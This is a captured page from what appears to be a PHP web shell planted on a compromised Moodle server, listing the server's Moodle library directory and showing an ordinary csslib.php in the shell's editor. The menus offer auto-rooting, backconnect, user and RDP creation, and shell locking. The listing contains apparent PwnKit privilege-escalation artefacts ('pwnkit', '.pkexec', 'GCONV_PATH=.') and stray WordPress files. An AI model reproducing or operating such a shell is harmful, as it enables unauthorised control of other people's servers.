Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
adodb
[ DIR ]
drwxrwxr-x
ajax
[ DIR ]
drwxrwxr-x
amd
[ DIR ]
drwxrwxr-x
antivirus
[ DIR ]
drwxrwxr-x
behat
[ DIR ]
drwxrwxr-x
bennu
[ DIR ]
drwxrwxr-x
classes
[ DIR ]
drwxrwxr-x
db
[ DIR ]
drwxrwxr-x
ddl
[ DIR ]
drwxrwxr-x
dml
[ DIR ]
drwxrwxr-x
dtl
[ DIR ]
drwxrwxr-x
editor
[ DIR ]
drwxrwxr-x
evalmath
[ DIR ]
drwxrwxr-x
external
[ DIR ]
drwxrwxr-x
filebrowser
[ DIR ]
drwxrwxr-x
filestorage
[ DIR ]
drwxrwxr-x
fonts
[ DIR ]
drwxrwxr-x
form
[ DIR ]
drwxrwxr-x
geopattern-php
[ DIR ]
drwxrwxr-x
google
[ DIR ]
drwxrwxr-x
grade
[ DIR ]
drwxrwxr-x
horde
[ DIR ]
drwxrwxr-x
html2text
[ DIR ]
drwxrwxr-x
htmlpurifier
[ DIR ]
drwxrwxr-x
jabber
[ DIR ]
drwxrwxr-x
jquery
[ DIR ]
drwxrwxr-x
lessphp
[ DIR ]
drwxrwxr-x
ltiprovider
[ DIR ]
drwxrwxr-x
markdown
[ DIR ]
drwxrwxr-x
maxmind
[ DIR ]
drwxrwxr-x
minify
[ DIR ]
drwxrwxr-x
mlbackend
[ DIR ]
drwxrwxr-x
mustache
[ DIR ]
drwxrwxr-x
password_compat
[ DIR ]
drwxrwxr-x
pear
[ DIR ]
drwxrwxr-x
php-css-parser
[ DIR ]
drwxrwxr-x
phpexcel
[ DIR ]
drwxrwxr-x
phpmailer
[ DIR ]
drwxrwxr-x
phpunit
[ DIR ]
drwxrwxr-x
portfolio
[ DIR ]
drwxrwxr-x
requirejs
[ DIR ]
drwxrwxr-x
rtlcss
[ DIR ]
drwxrwxr-x
scssphp
[ DIR ]
drwxrwxr-x
simplepie
[ DIR ]
drwxrwxr-x
spout
[ DIR ]
drwxrwxr-x
tcpdf
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
testing
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
typo3
[ DIR ]
drwxrwxr-x
userkey
[ DIR ]
drwxrwxr-x
xhprof
[ DIR ]
drwxrwxr-x
xmldb
[ DIR ]
drwxrwxr-x
yui
[ DIR ]
drwxrwxr-x
yuilib
[ DIR ]
drwxrwxr-x
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
accesslib.php
253.74
KB
-rw-rw-r--
adminlib.php
357.63
KB
-rw-rw-r--
authlib.php
37.75
KB
-rw-rw-r--
badgeslib.php
43.38
KB
-rw-rw-r--
blocklib.php
99.15
KB
-rw-rw-r--
boxlib.php
8.08
KB
-rw-rw-r--
cacert.pem
239.21
KB
-rw-rw-r--
cacert.txt
811
B
-rw-rw-r--
clilib.php
6.62
KB
-rw-rw-r--
completionlib.php
49.37
KB
-rw-rw-r--
componentlib.class.php
29.2
KB
-rw-rw-r--
conditionlib.php
1.11
KB
-rw-rw-r--
configonlylib.php
6.48
KB
-rw-rw-r--
cookies.js
2.37
KB
-rw-rw-r--
coursecatlib.php
128.07
KB
-rw-rw-r--
cronlib.php
16.59
KB
-rw-rw-r--
csslib.php
15.14
KB
-rw-rw-r--
csvlib.class.php
17.25
KB
-rw-rw-r--
customcheckslib.php
1.5
KB
-rw-rw-r--
dataformatlib.php
3.35
KB
-rw-rw-r--
datalib.php
66.63
KB
-rw-rw-r--
ddllib.php
4.71
KB
-rw-rw-r--
default.ttf
502.23
KB
-rw-rw-r--
deprecatedlib.php
227.46
KB
-rw-rw-r--
dmllib.php
12.2
KB
-rw-rw-r--
dtllib.php
2.58
KB
-rw-rw-r--
editorlib.php
6.43
KB
-rw-rw-r--
emptyfile.php
809
B
-rw-rw-r--
enrollib.php
111.94
KB
-rw-rw-r--
environmentlib.php
55.94
KB
-rw-rw-r--
eventslib.php
4.58
KB
-rw-rw-r--
excellib.class.php
29.19
KB
-rw-rw-r--
externallib.php
56.46
KB
-rw-rw-r--
filelib.php
183.98
KB
-rw-rw-r--
filterlib.php
56.46
KB
-rw-rw-r--
flickrclient.php
9.25
KB
-rw-rw-r--
flickrlib.php
52.08
KB
-rw-rw-r--
formslib.php
134.17
KB
-rw-rw-r--
gdlib.php
16.96
KB
-rw-rw-r--
googleapi.php
16.83
KB
-rw-rw-r--
gradelib.php
61.29
KB
-rw-rw-r--
graphlib.php
83.1
KB
-rw-rw-r--
grouplib.php
46.05
KB
-rw-rw-r--
index.html
1
B
-rw-rw-r--
installlib.php
18.09
KB
-rw-rw-r--
javascript-static.js
42.63
KB
-rw-rw-r--
javascript.php
4.09
KB
-rw-rw-r--
jslib.php
4.21
KB
-rw-rw-r--
ldaplib.php
18.23
KB
-rw-rw-r--
lexer.php
16.07
KB
-rw-rw-r--
licenselib.php
7.25
KB
-rw-rw-r--
listlib.php
22.53
KB
-rw-rw-r--
mathslib.php
4.58
KB
-rw-rw-r--
medialib.php
5.4
KB
-rw-rw-r--
messagelib.php
27.51
KB
-rw-rw-r--
modinfolib.php
109.05
KB
-rw-rw-r--
moodlelib.php
354.11
KB
-rw-rw-r--
myprofilelib.php
20.47
KB
-rw-rw-r--
navigationlib.php
241.36
KB
-rw-rw-r--
oauthlib.php
23.98
KB
-rw-rw-r--
odslib.class.php
57.36
KB
-rw-rw-r--
outputactions.php
7.11
KB
-rw-rw-r--
outputcomponents.php
157.31
KB
-rw-rw-r--
outputfactories.php
18.11
KB
-rw-rw-r--
outputfragmentrequirementslib....
4.17
KB
-rw-rw-r--
outputlib.php
97.12
KB
-rw-rw-r--
outputrenderers.php
197.52
KB
-rw-rw-r--
outputrequirementslib.php
82.77
KB
-rw-rw-r--
pagelib.php
76.52
KB
-rw-rw-r--
pdflib.php
9.23
KB
-rw-rw-r--
phpminimumversionlib.php
3.08
KB
-rw-rw-r--
plagiarismlib.php
6.9
KB
-rw-rw-r--
portfoliolib.php
54.45
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
questionlib.php
82.21
KB
-rw-rw-r--
recaptchalib.php
12.38
KB
-rw-rw-r--
recaptchalib_v2.php
6.38
KB
-rw-rw-r--
requirejs.php
5.55
KB
-rw-rw-r--
resourcelib.php
8.91
KB
-rw-rw-r--
rsslib.php
17.84
KB
-rw-rw-r--
searchlib.php
17.95
KB
-rw-rw-r--
sessionkeepalive_ajax.php
1.21
KB
-rw-rw-r--
sessionlib.php
6.97
KB
-rw-rw-r--
setup.php
39.72
KB
-rw-rw-r--
setuplib.php
73.96
KB
-rw-rw-r--
soaplib.php
5.23
KB
-rw-rw-r--
statslib.php
67.45
KB
-rw-rw-r--
tablelib.php
61.62
KB
-rw-rw-r--
thirdpartylibs.xml
8.6
KB
-rw-rw-r--
tokeniserlib.php
16.48
KB
-rw-rw-r--
upgrade.txt
76.56
KB
-rw-rw-r--
upgradelib.php
100.84
KB
-rw-rw-r--
uploadlib.php
1.9
KB
-rw-rw-r--
validateurlsyntax.php
23.05
KB
-rw-rw-r--
webdavlib.php
68.75
KB
-rw-rw-r--
weblib.php
119.86
KB
-rw-rw-r--
wiki_to_markdown.php
13.12
KB
-rw-rw-r--
womenslib.php
1021
B
-rw-rw-r--
wordlist.txt
1.23
KB
-rw-rw-r--
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
xhtml.xsl
223
B
-rw-rw-r--
xmlize.php
8.85
KB
-rw-rw-r--
xsendfilelib.php
2.59
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : csslib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains CSS file serving functions. * * NOTE: these functions are not expected to be used from any addons. * * @package core * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); if (!defined('THEME_DESIGNER_CACHE_LIFETIME')) { // This can be also set in config.php file, // it needs to be higher than the time it takes to generate all CSS content. define('THEME_DESIGNER_CACHE_LIFETIME', 10); } /** * Stores CSS in a file at the given path. * * This function either succeeds or throws an exception. * * @param theme_config $theme The theme that the CSS belongs to. * @param string $csspath The path to store the CSS at. * @param string $csscontent the complete CSS in one string * @param bool $chunk If set to true these files will be chunked to ensure * that no one file contains more than 4095 selectors. * @param string $chunkurl If the CSS is be chunked then we need to know the URL * to use for the chunked files. */ function css_store_css(theme_config $theme, $csspath, $csscontent, $chunk = false, $chunkurl = null) { global $CFG; clearstatcache(); if (!file_exists(dirname($csspath))) { @mkdir(dirname($csspath), $CFG->directorypermissions, true); } // Prevent serving of incomplete file from concurrent request, // the rename() should be more atomic than fwrite(). ignore_user_abort(true); // First up write out the single file for all those using decent browsers. css_write_file($csspath, $csscontent); if ($chunk) { // If we need to chunk the CSS for browsers that are sub-par. $css = css_chunk_by_selector_count($csscontent, $chunkurl); $files = count($css); $count = 1; foreach ($css as $content) { if ($count === $files) { // If there is more than one file and this IS the last file. $filename = preg_replace('#\.css$#', '.0.css', $csspath); } else { // If there is more than one file and this is not the last file. $filename = preg_replace('#\.css$#', '.'.$count.'.css', $csspath); } $count++; css_write_file($filename, $content); } } ignore_user_abort(false); if (connection_aborted()) { die; } } /** * Writes a CSS file. * * @param string $filename * @param string $content */ function css_write_file($filename, $content) { global $CFG; if ($fp = fopen($filename.'.tmp', 'xb')) { fwrite($fp, $content); fclose($fp); rename($filename.'.tmp', $filename); @chmod($filename, $CFG->filepermissions); @unlink($filename.'.tmp'); // Just in case anything fails. } } /** * Takes CSS and chunks it if the number of selectors within it exceeds $maxselectors. * * The chunking will not split a group of selectors, or a media query. That means that * if n > $maxselectors and there are n selectors grouped together, * they will not be chunked and you could end up with more selectors than desired. * The same applies for a media query that has more than n selectors. * * Also, as we do not split group of selectors or media queries, the chunking might * not be as optimal as it could be, having files with less selectors than it could * potentially contain. * * String functions used here are not compliant with unicode characters. But that is * not an issue as the syntax of CSS is using ASCII codes. Even if we have unicode * characters in comments, or in the property 'content: ""', it will behave correcly. * * Please note that this strips out the comments if chunking happens. * * @param string $css The CSS to chunk. * @param string $importurl The URL to use for import statements. * @param int $maxselectors The number of selectors to limit a chunk to. * @param int $buffer Not used any more. * @return array An array of CSS chunks. */ function css_chunk_by_selector_count($css, $importurl, $maxselectors = 4095, $buffer = 50) { // Check if we need to chunk this CSS file. $count = substr_count($css, ',') + substr_count($css, '{'); if ($count < $maxselectors) { // The number of selectors is less then the max - we're fine. return array($css); } $chunks = array(); // The final chunks. $offsets = array(); // The indexes to chunk at. $offset = 0; // The current offset. $selectorcount = 0; // The number of selectors since the last split. $lastvalidoffset = 0; // The last valid index to split at. $lastvalidoffsetselectorcount = 0; // The number of selectors used at the time were could split. $inrule = 0; // The number of rules we are in, should not be greater than 1. $inmedia = false; // Whether or not we are in a media query. $mediacoming = false; // Whether or not we are expeting a media query. $currentoffseterror = null; // Not null when we have recorded an error for the current split. $offseterrors = array(); // The offsets where we found errors. // Remove the comments. Because it's easier, safer and probably a lot of other good reasons. $css = preg_replace('#/\*(.*?)\*/#s', '', $css); $strlen = strlen($css); // Walk through the CSS content character by character. for ($i = 1; $i <= $strlen; $i++) { $char = $css[$i - 1]; $offset = $i; // Is that a media query that I see coming towards us? if ($char === '@') { if (!$inmedia && substr($css, $offset, 5) === 'media') { $mediacoming = true; } } // So we are entering a rule or a media query... if ($char === '{') { if ($mediacoming) { $inmedia = true; $mediacoming = false; } else { $inrule++; $selectorcount++; } } // Let's count the number of selectors, but only if we are not in a rule, or in // the definition of a media query, as they can contain commas too. if (!$mediacoming && !$inrule && $char === ',') { $selectorcount++; } // We reached the end of something. if ($char === '}') { // Oh, we are in a media query. if ($inmedia) { if (!$inrule) { // This is the end of the media query. $inmedia = false; } else { // We were in a rule, in the media query. $inrule--; } } else { $inrule--; // Handle stupid broken CSS where there are too many } brackets, // as this can cause it to break (with chunking) where it would // coincidentally have worked otherwise. if ($inrule < 0) { $inrule = 0; } } // We are not in a media query, and there is no pending rule, it is safe to split here. if (!$inmedia && !$inrule) { $lastvalidoffset = $offset; $lastvalidoffsetselectorcount = $selectorcount; } } // Alright, this is splitting time... if ($selectorcount > $maxselectors) { if (!$lastvalidoffset) { // We must have reached more selectors into one set than we were allowed. That means that either // the chunk size value is too small, or that we have a gigantic group of selectors, or that a media // query contains more selectors than the chunk size. We have to ignore this because we do not // support split inside a group of selectors or media query. if ($currentoffseterror === null) { $currentoffseterror = $offset; $offseterrors[] = $currentoffseterror; } } else { // We identify the offset to split at and reset the number of selectors found from there. $offsets[] = $lastvalidoffset; $selectorcount = $selectorcount - $lastvalidoffsetselectorcount; $lastvalidoffset = 0; $currentoffseterror = null; } } } // Report offset errors. if (!empty($offseterrors)) { debugging('Could not find a safe place to split at offset(s): ' . implode(', ', $offseterrors) . '. Those were ignored.', DEBUG_DEVELOPER); } // Now that we have got the offets, we can chunk the CSS. $offsetcount = count($offsets); foreach ($offsets as $key => $index) { $start = 0; if ($key > 0) { $start = $offsets[$key - 1]; } // From somewhere up to the offset. $chunks[] = substr($css, $start, $index - $start); } // Add the last chunk (if there is one), from the last offset to the end of the string. if (end($offsets) != $strlen) { $chunks[] = substr($css, end($offsets)); } // The array $chunks now contains CSS split into perfect sized chunks. // Import statements can only appear at the very top of a CSS file. // Imported sheets are applied in the the order they are imported and // are followed by the contents of the CSS. // This is terrible for performance. // It means we must put the import statements at the top of the last chunk // to ensure that things are always applied in the correct order. // This way the chunked files are included in the order they were chunked // followed by the contents of the final chunk in the actual sheet. $importcss = ''; $slashargs = strpos($importurl, '.php?') === false; $parts = count($chunks); for ($i = 1; $i < $parts; $i++) { if ($slashargs) { $importcss .= "@import url({$importurl}/chunk{$i});\n"; } else { $importcss .= "@import url({$importurl}&chunk={$i});\n"; } } $importcss .= end($chunks); $chunks[key($chunks)] = $importcss; return $chunks; } /** * Sends a cached CSS file * * This function sends the cached CSS file. Remember it is generated on the first * request, then optimised/minified, and finally cached for serving. * * @param string $csspath The path to the CSS file we want to serve. * @param string $etag The revision to make sure we utilise any caches. */ function css_send_cached_css($csspath, $etag) { // 90 days only - based on Moodle point release cadence being every 3 months. $lifetime = 60 * 60 * 24 * 90; header('Etag: "'.$etag.'"'); header('Content-Disposition: inline; filename="styles.php"'); header('Last-Modified: '. gmdate('D, d M Y H:i:s', filemtime($csspath)) .' GMT'); header('Expires: '. gmdate('D, d M Y H:i:s', time() + $lifetime) .' GMT'); header('Pragma: '); header('Cache-Control: public, max-age='.$lifetime.', immutable'); header('Accept-Ranges: none'); header('Content-Type: text/css; charset=utf-8'); if (!min_enable_zlib_compression()) { header('Content-Length: '.filesize($csspath)); } readfile($csspath); die; } /** * Sends a cached CSS content * * @param string $csscontent The actual CSS markup. * @param string $etag The revision to make sure we utilise any caches. */ function css_send_cached_css_content($csscontent, $etag) { // 90 days only - based on Moodle point release cadence being every 3 months. $lifetime = 60 * 60 * 24 * 90; header('Etag: "'.$etag.'"'); header('Content-Disposition: inline; filename="styles.php"'); header('Last-Modified: '. gmdate('D, d M Y H:i:s', time()) .' GMT'); header('Expires: '. gmdate('D, d M Y H:i:s', time() + $lifetime) .' GMT'); header('Pragma: '); header('Cache-Control: public, max-age='.$lifetime.', immutable'); header('Accept-Ranges: none'); header('Content-Type: text/css; charset=utf-8'); if (!min_enable_zlib_compression()) { header('Content-Length: '.strlen($csscontent)); } echo($csscontent); die; } /** * Sends CSS directly and disables all caching. * The Content-Length of the body is also included, but the script is not ended. * * @param string $css The CSS content to send */ function css_send_temporary_css($css) { header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); header('Content-Disposition: inline; filename="styles_debug.php"'); header('Last-Modified: '. gmdate('D, d M Y H:i:s', time()) .' GMT'); header('Accept-Ranges: none'); header('Content-Type: text/css; charset=utf-8'); header('Content-Length: ' . strlen($css)); echo $css; } /** * Sends CSS directly without caching it. * * This function takes a raw CSS string, optimises it if required, and then * serves it. * Turning both themedesignermode and CSS optimiser on at the same time is awful * for performance because of the optimiser running here. However it was done so * that theme designers could utilise the optimised output during development to * help them optimise their CSS... not that they should write lazy CSS. * * @param string $css */ function css_send_uncached_css($css) { header('Content-Disposition: inline; filename="styles_debug.php"'); header('Last-Modified: '. gmdate('D, d M Y H:i:s', time()) .' GMT'); header('Expires: '. gmdate('D, d M Y H:i:s', time() + THEME_DESIGNER_CACHE_LIFETIME) .' GMT'); header('Pragma: '); header('Accept-Ranges: none'); header('Content-Type: text/css; charset=utf-8'); if (is_array($css)) { $css = implode("\n\n", $css); } echo $css; die; } /** * Send file not modified headers * * @param int $lastmodified * @param string $etag */ function css_send_unmodified($lastmodified, $etag) { // 90 days only - based on Moodle point release cadence being every 3 months. $lifetime = 60 * 60 * 24 * 90; header('HTTP/1.1 304 Not Modified'); header('Expires: '. gmdate('D, d M Y H:i:s', time() + $lifetime) .' GMT'); header('Cache-Control: public, max-age='.$lifetime); header('Content-Type: text/css; charset=utf-8'); header('Etag: "'.$etag.'"'); if ($lastmodified) { header('Last-Modified: '. gmdate('D, d M Y H:i:s', $lastmodified) .' GMT'); } die; } /** * Sends a 404 message about CSS not being found. */ function css_send_css_not_found() { header('HTTP/1.0 404 not found'); die('CSS was not found, sorry.'); }
Close